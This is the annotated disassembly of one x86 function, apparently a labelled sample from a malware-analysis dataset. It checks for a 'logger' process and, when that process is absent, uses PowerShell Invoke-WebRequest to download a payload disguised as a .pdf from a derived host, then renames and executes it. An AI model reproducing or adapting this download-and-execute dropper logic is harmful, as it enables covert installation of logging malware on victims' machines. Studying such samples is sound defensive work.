Function at 0x40e2f0
Capabilities:
Execute command
Move file

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x68c
mov dword [esp], str.powershell_Get_Process_WdiNisMon
mov ebp, dword [esp + 0x6a4]
call sym._system
test eax, eax
je 0x40e500
mov eax, dword [esp + 0x6a0]
lea ebx, [esp + 0x360]
mov dword [esp + 0xc], ebp
lea esi, [esp + 0x48c]
mov dword [esp + 4], str.C:Users_s_s
mov dword [esp + 8], eax
mov dword [esp], ebx
call sym._sprintf_9
mov dword [esp + 4], 0x43f518
mov dword [esp], ebx
call sym._check_exist
test eax, eax
je 0x40e510
mov eax, dword [esp + 0x6a8]
lea ebx, [esp + 0x40]
mov dword [esp + 0xc], ebp
lea edi, [esp + 0x108]
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x6a0]
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._sprintf_9
mov dword [esp], str.Logger_not_running
call sym._puts
mov dword [esp + 8], ebx
mov dword [esp + 4], str.powershell_Test_Path__s__PathType_Leaf
mov dword [esp], edi
call sym._sprintf_9
mov dword [esp], edi
call sym._system
test eax, eax
je 0x40e4bc
mov dword [esp + 4], 0x43f597
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [esp + 0x36], 0x6f6d6962
mov edx, eax
mov eax, 0x79
mov dword [esp + 0x3a], 0x6c68746e
mov word [esp + 0x3e], ax
lea eax, [esp + 0x36]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x2c], edx
call sym._get_current_ip
lea ecx, [esp + 0x1d0]
mov dword [esp + 4], str.http:___s_a44185s.pdf
mov dword [esp], ecx
mov edi, eax
mov dword [esp + 8], eax
call sym._sprintf_9
mov eax, dword [esp + 0x6a0]
mov dword [esp + 0xc], ebp
lea ebp, [esp + 0x298]
mov dword [esp + 4], str.C:Users_s_s_a44185s.pdf
mov dword [esp + 8], eax
mov dword [esp], ebp
call sym._sprintf_9
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], ecx
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
mov dword [esp], esi
call sym._sprintf_9
mov edx, dword [esp + 0x2c]
mov dword [esp], edx
call sym._free
mov dword [esp], edi
call sym._free
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x40e548
mov eax, dword [esp + 0x6ac]
mov dword [esp + 4], 0x43f518
mov dword [esp], eax
call sym._check_exist
test eax, eax
jne 0x40e580
mov dword [esp + 4], ebx
mov dword [esp], ebp
call sym._rename
test eax, eax
jne 0x40e5a0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x48c], ebx
mov dword [esp + 0x490], 0
call sym._execve
cmp eax, 0xffffffff
je 0x40e590
add esp, 0x68c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Logger_running
call sym._puts
jmp 0x40e4eb
mov dword [esp + 8], ebx
mov dword [esp + 4], str.mkdir__s
mov dword [esp], esi
call sym._sprintf_9
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x40e568
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x40e35a
mov dword [esp], str.__Download_logger_failed
call sym._puts
add esp, 0x68c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Creating_folder_failed
call sym._puts
jmp 0x40e35a
mov dword [esp], str.__Downloaded_logger_not_found
call sym._puts
jmp 0x40e554
mov dword [esp], str.execve
call sym._perror
jmp 0x40e554
mov dword [esp], str.__Rename_logger_failed
call sym._puts
jmp 0x40e554